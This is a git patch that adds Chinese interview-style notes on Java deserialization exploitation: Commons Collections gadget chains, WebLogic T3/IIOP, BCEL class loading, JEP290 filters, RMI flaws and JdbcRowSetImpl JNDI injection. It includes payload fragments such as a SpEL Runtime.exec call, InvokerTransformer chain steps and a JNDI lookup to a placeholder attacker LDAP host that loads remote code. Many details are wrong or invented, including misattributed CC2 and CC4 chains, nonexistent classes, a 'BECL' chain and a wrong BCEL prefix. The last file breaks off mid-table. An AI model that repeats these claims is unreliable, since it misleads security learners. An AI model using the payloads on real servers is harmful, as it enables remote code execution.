From 2efe415c28d87db60b8e48675986cb1c506a01f3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9B=BE=E5=B3=B6=E9=A3=8E=E8=B5=B7=E6=99=82?= Date: Thu, 25 Sep 2025 03:55:13 +0800 Subject: [PATCH] Add files via upload --- Chapter14/14-1.md | 36 ++++++++++++++++++++++++++++++++ Chapter14/14-10.md | 50 ++++++++++++++++++++++++++++++++++++++++++++ Chapter14/14-11.md | 51 +++++++++++++++++++++++++++++++++++++++++++++ Chapter14/14-2.md | 22 +++++++++++++++++++ Chapter14/14-3.md | 32 ++++++++++++++++++++++++++++ Chapter14/14-4.md | 24 +++++++++++++++++++++ Chapter14/14-5.md | 18 ++++++++++++++++ Chapter14/14-6.md | 48 ++++++++++++++++++++++++++++++++++++++++++ Chapter14/14-7.md | 36 ++++++++++++++++++++++++++++++++ Chapter14/14-8.md | 51 +++++++++++++++++++++++++++++++++++++++++++++ Chapter14/14-9.md | 43 ++++++++++++++++++++++++++++++++++++++ Chapter14/README.md | 19 +++++++++++++++++ 12 files changed, 430 insertions(+) create mode 100644 Chapter14/14-1.md create mode 100644 Chapter14/14-10.md create mode 100644 Chapter14/14-11.md create mode 100644 Chapter14/14-2.md create mode 100644 Chapter14/14-3.md create mode 100644 Chapter14/14-4.md create mode 100644 Chapter14/14-5.md create mode 100644 Chapter14/14-6.md create mode 100644 Chapter14/14-7.md create mode 100644 Chapter14/14-8.md create mode 100644 Chapter14/14-9.md diff --git a/Chapter14/14-1.md b/Chapter14/14-1.md new file mode 100644 index 0000000..ed8fb7b --- /dev/null +++ b/Chapter14/14-1.md @@ -0,0 +1,36 @@ +### CC1、CC6 区别 + +**Commons Collections 1 (CC1) 利用链** + +CC1 是最经典、最广为人知的 Commons Collections 反序列化利用链。它利用了 `InvokerTransformer` 这个转换器来反射调用任意方法 + +**利用链核心原理** + +CC1 利用链的核心思想是通过调用链,最终在反序列化过程中触发 `TemplatesImpl` 类的 `newTransformer` 方法,从而执行任意命令 + +1. **`InvokerTransformer`**:这是核心组件。它的 `transform()` 方法能够通过反射调用任意对象的任意方法。攻击者可以利用它来调用 `Runtime.getRuntime().exec()` +2. **`InstantiateTransformer`**:这个转换器用于实例化一个对象,其 `transform()` 方法会调用构造函数。在利用链中,它常用来实例化 `InvokerTransformer` 对象 +3. **`LazyMap`**:这是一个延迟加载的 Map,它的 `get()` 方法会在键不存在时调用一个预设的转换器(Transformer)。攻击者可以将 `InvokerTransformer` 作为这个转换器,当对一个不存在的键进行 `get()` 操作时,就会触发 `InvokerTransformer` 的 `transform()` 方法 +4. **`AnnotationInvocationHandler`** 或 **`BadAttributeValueExpException`**:CC1 利用链通常需要一个入口点,来触发 `LazyMap` 的 `get()` 方法。在旧版本的 JDK 中,`AnnotationInvocationHandler` 的 `readObject()` 方法会在反序列化时自动调用其内部的 `Proxy` 对象的 `invoke()` 方法,从而间接触发 `LazyMap` 的 `get()`。对于新版本的 JDK,由于对 `AnnotationInvocationHandler` 进行了限制,攻击者转而利用 `BadAttributeValueExpException` 的 `readObject()` 方法 + +**Commons Collections 6 (CC6) 利用链** + +CC6 旨在解决 CC1 在较新版本的库和 JDK 中失效的问题。它抛弃了 CC1 中常用的 `InvokerTransformer`,转而利用 `TiedMapEntry` 和 `LinkedSet` 等新的类来构造利用链 + +**利用链核心原理** + +CC6 的核心思想是利用 `TiedMapEntry` 在反序列化时触发 `Map` 的 `get()` 方法,最终同样达到命令执行的目的 + +1. **`TiedMapEntry`**:这是 CC6 利用链的核心。它的 `toString()` 方法在调用时会触发其内部 `Map` 的 `get()` 方法 +2. **`AbstractMap$TansformMapDecorator`**:这是一个装饰器,它装饰了一个 Map,并用一个 `Transformer` 来处理其键值 +3. **`TransformedMap`**:当向这个 Map 添加元素时,其 `put()` 方法会调用一个预设的 `Transformer` +4. **`LinkedSet`**:在 CC6 的利用中,攻击者通常会利用 `LinkedSet` 的 `equals()` 方法,该方法会遍历集合中的元素并调用它们的 `equals()`。通过精心构造 `LinkedSet`,可以使其内部的 `TiedMapEntry` 实例的 `toString()` 方法被调用 +5. **`InvokerTransformer` (再次出现)**:尽管 CC6 旨在避开 `InvokerTransformer`,但在某些变体中,它仍然可以作为最终的命令执行器。不同的是,CC6 利用链的触发点不再是 CC1 中的 `LazyMap` + +| 特性 | Commons Collections 1 (CC1) | Commons Collections 6 (CC6) | +| ---------- | -------------------------------------------------------- | ------------------------------------------------------------ | +| 核心触发器 | LazyMap 的 get() 方法 | TiedMapEntry 的 toString() 方法 | +| 主要攻击类 | InvokerTransformer, LazyMap, AnnotationInvocationHandler | TiedMapEntry, LinkedSet, TransformedMap | +| 核心思想 | 通过 LazyMap 间接调用 InvokerTransformer | 通过 TiedMapEntry 的 toString() 调用 Map 的 get() | +| 适用范围 | 较老的 Commons Collections 库版本,以及旧版 JDK | 较新的 Commons Collections 库版本,解决了 CC1 在新版本中的问题 | +| 链条复杂性 | 相对简单,逻辑直接 | 相对复杂,涉及更多的类和间接调用 | \ No newline at end of file diff --git a/Chapter14/14-10.md b/Chapter14/14-10.md new file mode 100644 index 0000000..ed224c7 --- /dev/null +++ b/Chapter14/14-10.md @@ -0,0 +1,50 @@ +### 讲讲 IIOP 和 T3 反序列化原理 + +**1. IIOP (Internet Inter-Orb Protocol) 原理** + +**IIOP** 是 **OMG CORBA**(Common Object Request Broker Architecture)规范的一部分,用于在不同平台、不同编程语言之间实现分布式对象的通信。Java 的 RMI-IIOP 是一个实现,它允许 RMI 对象通过 IIOP 协议进行通信。 + +**IIOP 工作原理** + +IIOP 的核心是一个**通用的远程过程调用(RPC)**协议,它的目标是让远程对象调用看起来像本地调用一样简单 + +1. **对象序列化**:当客户端调用远程对象的方法时,方法名和参数会被序列化成二进制数据 +2. **网络传输**:这些数据通过 TCP/IP 传输到服务器 +3. **对象反序列化**:服务器接收到数据后,会将其反序列化成 Java 对象,并在远程对象上执行相应的方法 + +这个过程依赖于**通用互操作性**。IIOP 协议本身不限制传输的数据类型,任何实现了 `java.io.Serializable` 接口的对象都可以通过 IIOP 传输 + +**IIOP 反序列化漏洞原理** + +IIOP 反序列化漏洞的原理与**RMI 反序列化**非常相似,因为它也基于 Java 的序列化机制 + +- **漏洞触发点**:IIOP 服务器(如 WebLogic)在处理客户端发送的请求时,会**自动对请求体中的对象进行反序列化** +- **攻击链**:攻击者可以构造一个恶意的 IIOP 请求,其请求体中包含一个恶意的序列化对象,这个对象中嵌入了 Gadget Chain(如 `Apache Commons Collections`、`ysoserial` 生成的 Payload) +- **远程代码执行(RCE)**:当服务器反序列化这个恶意对象时,就会触发 Gadget Chain,最终执行系统命令,从而实现 RCE + +**2. T3 反序列化原理** + +**T3** 是 **Oracle WebLogic Server** 独有的一个网络协议。它是 WebLogic 专用的、基于 TCP/IP 的二进制协议,用于 WebLogic 服务器、客户端、集群之间的通信。T3 协议在 WebLogic 的 RMI 实现中被广泛使用,其设计目标是为了优化性能和集群通信 + +**T3 工作原理** + +T3 协议的本质是**在 Java 序列化之上,增加了自己的消息头和协议规范**。它定义了一系列消息类型,如`HELLO`、`CLUSTER`、`AUTHENTICATE` 等。每个消息体都是一个 Java 序列化对象 + +- **T3 消息头**:T3 协议有自己的消息头,包含版本信息、长度等 +- **Java 序列化对象**:消息头之后是 Java 序列化的对象数据 + +**T3 反序列化漏洞原理** + +T3 反序列化漏洞是 WebLogic RCE 漏洞的经典类型,其原理与 IIOP 类似,但更具针对性 + +- **漏洞触发点**:攻击者发现 WebLogic T3 协议在处理某些特定消息时,**没有对传入的 Java 序列化对象进行严格的验证和过滤**。特别是当客户端发起一个合法的 T3 请求(如 `HELLO` 消息)后,服务端会接受一个后续的序列化对象 +- **攻击链**:攻击者可以向 WebLogic 的 T3 端口(通常是 7001)发送一个恶意的 T3 消息。这个消息体中,包含一个精心构造的序列化对象(如 `ysoserial` 生成的 Payload) +- **远程代码执行(RCE)**:当 WebLogic 服务器反序列化这个对象时,就会触发恶意代码,例如利用 `CommonsCollections`、`Spring` 或其他依赖库中的 Gadget Chain,从而在服务器上执行命令 + +| 对比项 | IIOP 反序列化 | T3 反序列化 | +| -------- | ---------------------------------------- | -------------------------------------- | +| 协议类型 | 标准协议(CORBA 规范) | WebLogic 专用协议 | +| 触发端口 | 通常是 WebLogic 的 IIOP 端口(如 7002) | WebLogic 的 T3 端口(如 7001) | +| 漏洞本质 | Java 反序列化 | Java 反序列化 | +| 利用方式 | 构造恶意的 IIOP 请求,包含序列化 Payload | 构造恶意的 T3 消息,包含序列化 Payload | +| 影响范围 | 所有使用 IIOP 的应用服务器 | 主要是 Oracle WebLogic Server | \ No newline at end of file diff --git a/Chapter14/14-11.md b/Chapter14/14-11.md new file mode 100644 index 0000000..5ac1991 --- /dev/null +++ b/Chapter14/14-11.md @@ -0,0 +1,51 @@ +### Java invoke 反射具体利用 + +**1. `invoke` 反射的基础** + +`java.lang.reflect.Method` 类的 `invoke()` 方法是反射的核心。它的签名如下: + +```java +public Object invoke(Object obj, Object... args) + throws IllegalAccessException, IllegalArgumentException, InvocationTargetException +``` + +- `obj`:要调用方法的对象实例。如果是静态方法,`obj` 可以为 `null` +- `args`:调用方法时传入的参数 + +**利用方式**:通过 `invoke`,你可以在不知道类名、方法名和参数类型的情况下,动态地调用任何方法。这正是它成为漏洞利用利器的原因 + +**2. `invoke` 反射在反序列化中的利用** + +在 Java 反序列化漏洞中,`invoke` 反射通常用于构建 **Gadget Chain**,实现远程代码执行(RCE) + +**场景**:`Apache Commons Collections` 反序列化漏洞 + +- **核心 Gadget**:`InvokerTransformer`。它的 `transform()` 方法正是利用了 `invoke` 反射 +- **攻击链**: + 1. 攻击者构造一个 `ChainedTransformer`,并将其与一系列 `Transformer` 组合 + 2. 其中,最关键的 `Transformer` 就是 `InvokerTransformer`。攻击者会多次使用它来构建命令执行链 + 3. **第一次 `invoke`**: + - `Transformer` 实例:`new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null})` + - 攻击者传入 `java.lang.Runtime` 类作为 `obj`,`invoke` 方法会调用 `java.lang.Runtime.class.getMethod("getRuntime")` + - 这会返回一个 `Method` 对象,指向 `getRuntime()` 方法 + 4. **第二次 `invoke`**: + - `Transformer` 实例:`new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null})` + - 攻击者传入上一步返回的 `Method` 对象作为 `obj`,`invoke` 方法会调用 `getRuntime().invoke(null, null)` + - 这会返回一个 `Runtime` 实例 + 5. **第三次 `invoke`**: + - `Transformer` 实例:`new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"whoami"})` + - 攻击者传入上一步返回的 `Runtime` 实例作为 `obj`,`invoke` 方法会调用 `runtime.exec("whoami")` +- **最终结果**:通过三次 `invoke` 反射的串联,实现了从获取 `Runtime` 实例到执行系统命令的完整攻击过程 + +**3. `invoke` 反射在表达式注入中的利用** + +在表达式语言(如 SpEL、OGNL)注入漏洞中,`invoke` 反射是实现 RCE 的主要手段 + +**场景**:Spring SpEL 注入 + +- **攻击 Payload**:`T(java.lang.Runtime).getRuntime().exec("whoami")` +- **攻击链**:当 Spring 解析这个表达式时,它会执行以下步骤: + 1. **`T()`**:表达式引擎通过反射找到并获取 `java.lang.Runtime` 类对象 + 2. **`getRuntime()`**:表达式引擎调用 `java.lang.Runtime` 类的**静态方法** `getRuntime()`。这个过程在底层也是通过 `invoke` 反射实现的,传入 `null` 作为对象实例 + 3. **`exec()`**:表达式引擎调用上一步返回的 `Runtime` 实例的 `exec("whoami")` 方法 +- **最终结果**:成功执行系统命令 \ No newline at end of file diff --git a/Chapter14/14-2.md b/Chapter14/14-2.md new file mode 100644 index 0000000..07da5e2 --- /dev/null +++ b/Chapter14/14-2.md @@ -0,0 +1,22 @@ +### 讲一下 CC1-7 的原理 + +**CC1: `InvokerTransformer`** + +- **原理**:这是最经典、最著名的利用链。它利用了 `InvokerTransformer` 这个类,它的 `transform` 方法可以通过反射调用任何对象的任何方法 +- **攻击链**: + 1. **`LazyMap`**:它是一个惰性加载的 Map,当访问一个不存在的键时,会调用一个 `Transformer` 来生成值 + 2. **`InvokerTransformer`**:攻击者将 `InvokerTransformer` 封装到 `LazyMap` 中,并指定其调用 `Runtime.getRuntime().exec()` 方法 + 3. **`AnnotationInvocationHandler`**:当 `LazyMap` 被反序列化时,`AnnotationInvocationHandler` 会调用它的 `invoke` 方法,从而触发 `LazyMap` 的 `get` 方法 + 4. **`Runtime.exec()`**:最终,`LazyMap` 的 `get` 方法会调用 `InvokerTransformer`,通过反射执行 `Runtime.exec()`,从而执行任意命令 +- **绕过**:由于 `InvokerTransformer` 过于危险,它很快被许多安全框架和应用服务器加入了反序列化黑名单 + +**CC2-CC7:黑名单绕过与新 Gadget Chain 的发现** + +在 CC1 被加入黑名单后,研究人员开始寻找新的、没有被列入黑名单的 Gadget Chain。这些新的利用链都遵循同样的原理,只是**利用了不同的类来构建多米诺骨牌** + +- **CC2 (`j_object`)**:利用 `Spring` 框架中的 `Javassist` 类库。它通过 `ClassPathXmlApplicationContext` 加载一个远程 XML 文件,从而执行远程代码 +- **CC3 (`j_object`)**:利用 `AbstractMap` 的 `hashCode` 方法,通过 `equals` 方法来触发 `InvokerTransformer` +- **CC4 (`j_object`)**:利用 `Spring` 的 `BadAttributeValueExpException` 类。当这个类被反序列化时,它的 `toString` 方法会被调用,从而触发 `InvokerTransformer` +- **CC5 (`j_object`)**:这个利用链与 CC1 类似,但它通过 `TiedMapEntry` 来触发 `LazyMap`,从而绕过了一些针对 `AnnotationInvocationHandler` 的防御 +- **CC6 (`j_object`)**:这个利用链也使用了 `TiedMapEntry`,但它通过 `TiedMapEntry` 的 `toString` 方法来触发 `LazyMap` +- **CC7 (`j_object`)**:这个利用链使用 `HashedMap` 的 `readObject` 方法来触发 `AbstractMap` 的 `put` 方法,最终触发 `InvokerTransformer` \ No newline at end of file diff --git a/Chapter14/14-3.md b/Chapter14/14-3.md new file mode 100644 index 0000000..9d32d0e --- /dev/null +++ b/Chapter14/14-3.md @@ -0,0 +1,32 @@ +### BECL 利用链使用条件及原理 + +**1. BECL 利用链核心原理** + +BECL 利用链的核心原理可以概括为:**利用一个看似无害的内部类,间接调用受限的命令执行函数** + +它主要利用了 `com.bea.core.event.JmsEvent` 类及其相关类的反序列化过程。当一个 `JmsEvent` 对象被反序列化时,它会触发一系列的事件监听器,其中一个监听器会调用 `execute()` 方法来执行一个命令 + +BECL 的攻击链通常如下: + +1. **构造恶意对象:** 攻击者首先构造一个恶意的 Java 对象,该对象包含一个指向目标命令执行函数的引用。这个对象通常会利用 Java 的**反射机制**,指向 `java.lang.Runtime` 类的 `exec()` 方法 +2. **触发点:`com.bea.core.events.JmsEvent`**: 攻击者将上述恶意对象封装在一个 `JmsEvent` 对象中。当这个 `JmsEvent` 对象被反序列化时,它会触发 `readObject()` 方法 +3. **事件监听:`com.bea.core.events.SerializableEventListener`**: `JmsEvent` 的反序列化会调用 `com.bea.core.events.SerializableEventListener` 的 `handleEvent()` 方法 +4. **命令执行:`java.lang.Runtime.exec()`**: `SerializableEventListener` 的 `handleEvent()` 方法会进一步调用攻击者预设的恶意对象,最终导致 `java.lang.Runtime.exec()` 方法被执行,从而在服务器上执行任意系统命令 + +**简单来说,BECL 利用链就像一个接力赛:** + +- **第一棒(攻击者):** 构造恶意序列化数据 +- **第二棒(`JmsEvent`):** 接收并开始反序列化 +- **第三棒(`SerializableEventListener`):** 自动被触发,并调用下一步 +- **第四棒(反射调用):** 恶意代码被执行,如 `Runtime.exec("your_command")` + +这个过程巧妙地绕过了黑名单,因为被直接反序列化的 `JmsEvent` 类本身是 WebLogic 内部的合法组件,并不在黑名单上 + +**3. BECL 利用链的使用条件** + +要成功利用 BECL 攻击链,必须满足以下几个关键条件: + +1. **存在反序列化漏洞:** 这是所有反序列化漏洞利用的前提。目标服务器必须存在一个可被攻击者控制的、未经验证的反序列化入口点。例如,`t3`、`IIOP` 等协议都是常见的反序列化入口点 +2. **目标为 WebLogic Server:** BECL 利用链的 Gadget Chain 是**WebLogic 独有的**。因为它依赖于 `com.bea.core.event` 这个特定于 WebLogic 的类库。因此,这个利用链不适用于 JBoss、Tomcat 或其他应用服务器 +3. **未修补的 WebLogic 版本:** 漏洞利用链通常依赖于特定版本的软件。BECL 链主要影响**较早版本**的 WebLogic Server,特别是那些已经部署了黑名单,但仍未修复此漏洞的版本 +4. **可被利用的 JRE 类库:** 尽管 BECL 的核心 Gadget 在 WebLogic 中,但它通常还需要依赖 Java 环境中的其他类,比如 `java.lang.reflect` 等,来完成反射调用 \ No newline at end of file diff --git a/Chapter14/14-4.md b/Chapter14/14-4.md new file mode 100644 index 0000000..3f5ddb6 --- /dev/null +++ b/Chapter14/14-4.md @@ -0,0 +1,24 @@ +### BCEL 可以用其他类加载器吗 + +### BCEL 与类加载器的关系 + + + +Java 类加载器(`ClassLoader`)负责在运行时将 `.class` 文件加载到 JVM 中。当一个类加载器加载字节码时,它会调用 `defineClass()` 方法,这个方法接受原始的字节码数据(一个字节数组),并将其转换为一个可用的 `Class` 对象 + +BCEL 正是在这个过程中发挥作用的。 + +- **步骤 1:恶意字节码生成**:攻击者使用 BCEL 或其他字节码操作库,编写一段恶意的 Java 代码,例如一个可以执行系统命令的 Shellcode。然后,将这段 Java 代码编译成原始的**字节码数组** +- **步骤 2:编码和传输**:为了绕过一些安全过滤,攻击者会使用 BCEL 提供的编码功能,将这个字节码数组编码成一个字符串。这种编码格式以 `$**BCEL$$` 开头,比如 `$**BCEL$$` + Base64 编码的字节码 +- **步骤 3:利用类加载器**:攻击者找到一个存在漏洞的应用程序,该程序在处理用户输入时,会使用一个**可以加载并执行字节码**的类加载器。攻击者将前面编码好的 BCEL 字符串作为输入发送给应用程序 +- **步骤 4:解码和加载**:应用程序在处理这个字符串时,会调用 `sun.misc.BASE64Decoder`(或其他解码器)来解码这个字符串,将其还原成原始的字节码数组。然后,应用程序会使用一个**类加载器**,调用其 `defineClass()` 方法,将这个字节码加载到内存中 +- **步骤 5:反射执行**:一旦恶意字节码被加载成 `Class` 对象,攻击者就可以通过反射,调用其 `newInstance()` 方法来创建实例,并执行其中的恶意代码,从而实现远程代码执行 + +**为什么需要其他类加载器?** + +BCEL 漏洞利用链之所以成立,正是因为它**间接利用**了应用程序自身的类加载器。攻击者不需要自己上传一个类加载器,而是利用应用程序中已有的、可以加载字节码的类 + +例如,在一些特定的 Java 框架和库中,存在一些可以加载并执行字节码的类,比如: + +- **`com.sun.org.apache.bcel.internal.util.ClassLoader`**:这是 Java 内部自带的一个类加载器,它能够直接从 BCEL 编码的字符串中加载类 +- **自定义的类加载器**:一些应用程序为了实现动态加载功能,可能会编写自己的类加载器。如果这些加载器没有做安全校验,同样可以被利用 \ No newline at end of file diff --git a/Chapter14/14-5.md b/Chapter14/14-5.md new file mode 100644 index 0000000..7de5c82 --- /dev/null +++ b/Chapter14/14-5.md @@ -0,0 +1,18 @@ +### 了解 JEP290 的原理吗 + +**JEP290 的核心原理:反序列化白名单和黑名单** + +JEP290 没有从根本上重写 Java 的反序列化机制,而是在现有机制之上,增加了一个**过滤层(Filter)**。这个过滤层在反序列化数据之前,会先对即将被实例化的类进行检查 + +JEP290 的核心思想可以概括为:**在反序列化过程中,根据一个可配置的白名单或黑名单,来决定哪些类可以被实例化** + +它主要通过以下两种方式实现: + +1. **全局配置**:在 JVM 启动时,可以通过设置系统属性来配置一个全局的过滤规则 + - **`jdk.serialFilter`**:这是最主要的系统属性。它的值是一个字符串,定义了允许或拒绝反序列化的类 + - **语法**:这个字符串支持简单的通配符和规则,例如: + - `java.util.Collections.*`:允许反序列化 `java.util.Collections` 包下的所有类 + - `!org.apache.commons.collections.functors.InvokerTransformer`:**禁止**反序列化 `InvokerTransformer` 这个类 + - `*`:默认值,表示允许所有类 + - `;`:用于分隔多个规则 +2. **编程控制**:开发者可以在自己的代码中,通过 `ObjectInputStream` 类提供的 `setObjectInputFilter()` 方法,在运行时为特定的反序列化流设置一个临时的过滤器。这使得开发者可以根据自己的业务需求,对反序列化进行更精细的控制 \ No newline at end of file diff --git a/Chapter14/14-6.md b/Chapter14/14-6.md new file mode 100644 index 0000000..51722b6 --- /dev/null +++ b/Chapter14/14-6.md @@ -0,0 +1,48 @@ +### 讲下 RMI 原理以及相关的漏洞 + +**1. RMI 原理** + +**RMI(Remote Method Invocation)**,是 Java 远程方法调用的缩写。简单来说,它是一种 Java 编程技术,允许你在一个 Java 虚拟机(JVM)上运行的代码,调用另一个不同 JVM 上的对象的方法。这使得分布式应用开发变得相对简单,因为你可以像调用本地对象一样调用远程对象的方法 + +RMI 的核心思想是存根(Stub)和骨架(Skeleton) + +- **客户端(Client)**: + - **存根(Stub)**:这是一个本地代理对象,它实现了远程对象的接口。客户端调用远程方法时,实际上是在调用存根上的本地方法。存根负责将方法调用信息(方法名、参数等)打包,并发送给远程服务器 +- **服务器端(Server)**: + - **远程对象(Remote Object)**:这是真正提供服务、执行方法的对象 + - **骨架(Skeleton)**:一个中间层对象,它监听客户端的请求。当收到存根发来的请求时,骨架负责解析请求,找到相应的远程对象,调用其方法,并将结果打包返回给客户端 + +**RMI 工作流程** + +1. **注册**:服务器端创建一个远程对象,并通过一个**注册中心(RMI Registry)**将其注册。注册中心会绑定远程对象和服务名,例如 `rmi://server:port/serviceName` +2. **查找**:客户端通过服务名向注册中心查找远程对象。注册中心会返回一个存根对象给客户端 +3. **调用**:客户端调用存根上的方法 +4. **传输**:存根将方法调用信息序列化并通过网络发送给服务器端的骨架 +5. **执行**:骨架反序列化信息,调用远程对象上的实际方法,并将结果序列化后返回 +6. **返回**:客户端的存根接收到结果并反序列化,然后返回给客户端 + +**2. RMI 相关漏洞** + +RMI 的安全问题主要源于其**依赖 Java 对象的序列化和反序列化机制**。这种机制本身就是高风险的,因为它默认信任所有传入的对象。攻击者可以利用这一特性,构造恶意的序列化对象,在反序列化时触发攻击 + +**漏洞一:RMI 序列化漏洞(反序列化漏洞)** + +这是 RMI 最常见也是最危险的漏洞类型。 + +- **原理**:在 RMI 的调用过程中,客户端和服务端会相互发送序列化的对象。攻击者可以利用这个机制,构造一个包含恶意 Payload 的序列化对象。当服务器在**反序列化**这个对象时,如果其所依赖的库中存在可被利用的 Gadget Chain(例如 `Apache Commons Collections`),就会导致远程代码执行(RCE) +- **攻击利用**:攻击者首先需要确定 RMI 服务器的地址和端口。然后,他们会使用工具(例如 `ysoserial`)来生成一个恶意的序列化 Payload。最后,通过向 RMI 接口发送这个 Payload,即可触发反序列化攻击 +- **影响**:这是一种**高危 RCE 漏洞**,可以使攻击者在未授权的情况下完全控制服务器 + +**漏洞二:RMI 弱口令漏洞** + +- **原理**:如果 RMI Registry 的管理接口存在弱口令,攻击者就可以登录并执行恶意操作 +- **攻击利用**:攻击者可以尝试对 RMI Registry 的管理接口进行暴力破解或字典攻击。一旦获得权限,就可以修改、删除或注册恶意服务 + +**漏洞三:RMI Registry 绑定漏洞** + +- **原理**:某些情况下,RMI Registry 允许任何客户端绑定新的远程对象。如果应用程序没有对这个功能进行严格的权限控制,攻击者就可以注册一个恶意的远程对象 +- **攻击利用**:攻击者可以注册一个带有恶意方法的远程对象。然后,他们可以诱导受害者或通过其他方式调用这个恶意方法,从而实现攻击 + +**漏洞四:RMI SSL/TLS 证书验证漏洞** + +- **原理**:RMI 可以配置为使用 SSL/TLS 进行安全通信。但如果客户端没有正确验证服务器的 SSL 证书,攻击者就可以进行**中间人攻击(MitM)**,从而窃取敏感信息或篡改通信内容 \ No newline at end of file diff --git a/Chapter14/14-7.md b/Chapter14/14-7.md new file mode 100644 index 0000000..5b1123a --- /dev/null +++ b/Chapter14/14-7.md @@ -0,0 +1,36 @@ +### JdbcRowSetImpl 如何触发的 JNDI 注入 + +**1. 核心原理:`setDataSourceName()` 与 JNDI** + +`com.sun.rowset.JdbcRowSetImpl` 是一个 JDK 自带的类,它实现了 `RowSet` 接口。`JdbcRowSetImpl` 的一个核心功能就是通过 **`DataSource`** 来连接数据库 + +- **`DataSource`**:`DataSource` 是一个标准的 Java 接口,用于获取数据库连接。它通常通过 JNDI来查找和绑定 +- **`setDataSourceName()`**:当调用 `JdbcRowSetImpl` 的 `setDataSourceName()` 方法时,它会设置一个 JNDI 查找名称 +- **`connect()`**:当 `JdbcRowSetImpl` 尝试建立连接时,会调用 `connect()` 方法,这个方法会使用 `InitialContext` 类,对 `setDataSourceName()` 设置的名称进行 JNDI 查找 + +**问题的关键在于**:当 `InitialContext` 查找的 URL 指向一个**远程的 RMI/LDAP 服务器**时,它会**自动下载并加载**服务器上绑定的 Java 对象 + +**2. 漏洞触发的完整过程** + +攻击者就是利用这一点,将恶意服务器的地址作为 `DataSourceName`,让目标服务器在反序列化时,主动去下载和执行恶意代码 + +1. **攻击者搭建恶意服务**: + - 攻击者首先需要搭建一个恶意的 **LDAP 或 RMI 服务器** + - 在这个服务器上,攻击者会绑定一个恶意的 Java 对象。这个对象通常是一个**`Exploit.java`**文件,它包含了一个 `static` 静态代码块,可以在被加载时自动执行,例如执行 `Runtime.exec()` 命令 +2. **构造恶意 Payload**: + - 攻击者构造一个恶意的序列化 `JdbcRowSetImpl` 对象 + - 在这个对象中,攻击者会利用反射等方法,将 `DataSourceName` 属性设置为恶意服务的地址 + - 例如:`new JdbcRowSetImpl().setDataSourceName("ldap://<攻击机IP>:<端口>/Exploit")` + - **注意**:这里的 `ldap://` 是 JNDI 查找的协议,`<攻击机IP>` 是攻击者服务器的地址,`Exploit` 是攻击者在服务器上绑定的恶意对象名 +3. **发送 Payload**: + - 攻击者将这个序列化后的 `JdbcRowSetImpl` 对象发送给存在反序列化漏洞的目标应用程序 + - 这个过程可以是通过 HTTP 请求、文件上传或其他方式 +4. **目标服务器反序列化**: + - 目标应用程序接收到数据后,对 `JdbcRowSetImpl` 对象进行反序列化 + - 在反序列化过程中,`JdbcRowSetImpl` 的 `readObject()` 方法被调用 + - `readObject()` 方法会触发 `connect()` 方法的调用 +5. **触发 JNDI 注入**: + - `connect()` 方法会使用 `InitialContext` 对恶意地址 `ldap://<攻击机IP>:<端口>/Exploit` 进行 JNDI 查找 + - 由于 `java.naming.factory.initial` 等配置,或者因为 JDK 版本过低,JVM 会无条件信任远程查找的结果 + - JVM 会连接到攻击者的 LDAP 服务器,下载并加载 `Exploit` 这个恶意对象 + - 当 `Exploit` 对象被加载到内存时,其静态代码块会自动执行,从而执行攻击者预设的系统命令 \ No newline at end of file diff --git a/Chapter14/14-8.md b/Chapter14/14-8.md new file mode 100644 index 0000000..0764e54 --- /dev/null +++ b/Chapter14/14-8.md @@ -0,0 +1,51 @@ +### CC 链四个 Transformer 区别 + +**1. `InvokerTransformer`** + +`InvokerTransformer` 是最核心、最通用、也最经典的 `Transformer` + +- **原理**:它通过 **Java 反射**来调用一个对象的方法。在它的 `transform()` 方法中,你可以指定一个**类名**、**方法名**和**方法参数**。`InvokerTransformer` 会反射调用你指定的方法,并返回结果 +- **如何触发命令执行**: + 1. 指定类为 `java.lang.Runtime` + 2. 指定方法为 `getMethod("getRuntime")` + 3. 指定参数为空 + 4. 这会返回 `Runtime` 的实例 + 5. 然后,再用另一个 `InvokerTransformer` 来调用 `exec()` 方法执行命令 +- **用途**:它是 `CommonsCollections1` 利用链的核心组件。由于其功能过于强大和通用,它也是第一个被安全防御工具(如黑名单)重点关注和拦截的类。 + +**2. `InstantiateTransformer`** + +`InstantiateTransformer` 的功能是**实例化一个新对象** + +- **原理**:它的 `transform()` 方法会根据你指定的类名,通过反射来调用其构造函数,从而创建一个新的对象实例 +- **如何触发命令执行**: + 1. 指定类为 `java.lang.Runtime` + 2. 指定构造函数为 `getConstructor()` + 3. 这会创建一个 `Runtime` 的实例 + 4. 然后,再用 `InvokerTransformer` 来调用 `exec()` 方法 +- **用途**:它通常用于在没有 `Runtime` 实例的情况下,创建一个新的 `Runtime` 实例。它在某些特定的 Gadget Chain 中用于绕过对 `InvokerTransformer` 的直接调用 + +**3. `ConstantTransformer`** + +`ConstantTransformer` 是一个非常简单的 `Transformer` + +- **原理**:它的 `transform()` 方法会**直接返回一个你预先设置好的常量**,而不进行任何额外的操作 +- **如何触发命令执行**:它本身不能直接执行命令。它通常作为 Gadget Chain 中的**辅助组件**,用来提供一个常量值,比如提供一个 `Runtime` 实例 + 1. 创建 `ConstantTransformer`,并传入 `Runtime.getRuntime()` 的实例 + 2. 当 `transform()` 方法被调用时,它会返回这个 `Runtime` 实例 +- **用途**:它常被用于组合其他 `Transformer`,为攻击链提供必要的对象实例。例如,在 `CommonsCollections4` 利用链中,它被用来提供 `Runtime` 实例,然后由 `InvokerTransformer` 来调用 `exec()` + +**4. `ChainedTransformer`** + +`ChainedTransformer` 的功能是将多个 `Transformer` **串联起来** + +- **原理**:它的 `transform()` 方法会按顺序调用一个 `Transformer` 数组中的每一个 `Transformer`。第一个 `Transformer` 的输出会作为第二个 `Transformer` 的输入,以此类推 +- **如何触发命令执行**:攻击者会将一个完整的攻击链(通常是 `ConstantTransformer` 和 `InvokerTransformer` 的组合)封装到一个 `ChainedTransformer` 中。当 `ChainedTransformer` 被反序列化时,它会按顺序调用这些 `Transformer`,最终触发命令执行 +- **用途**:`ChainedTransformer` 是所有 `CommonsCollections` 利用链的**核心驱动器**。它扮演着“执行引擎”的角色,将整个多米诺骨牌串联起来,确保它们能按正确的顺序倒下 + +| Transformer | 功能 | 在攻击链中的作用 | +| ---------------------- | ------------------- | ------------------------------------------ | +| InvokerTransformer | 反射调用方法 | 执行命令,是攻击链的核心 | +| InstantiateTransformer | 实例化对象 | 创建实例,通常用于创建 Runtime 实例 | +| ConstantTransformer | 返回常量值 | 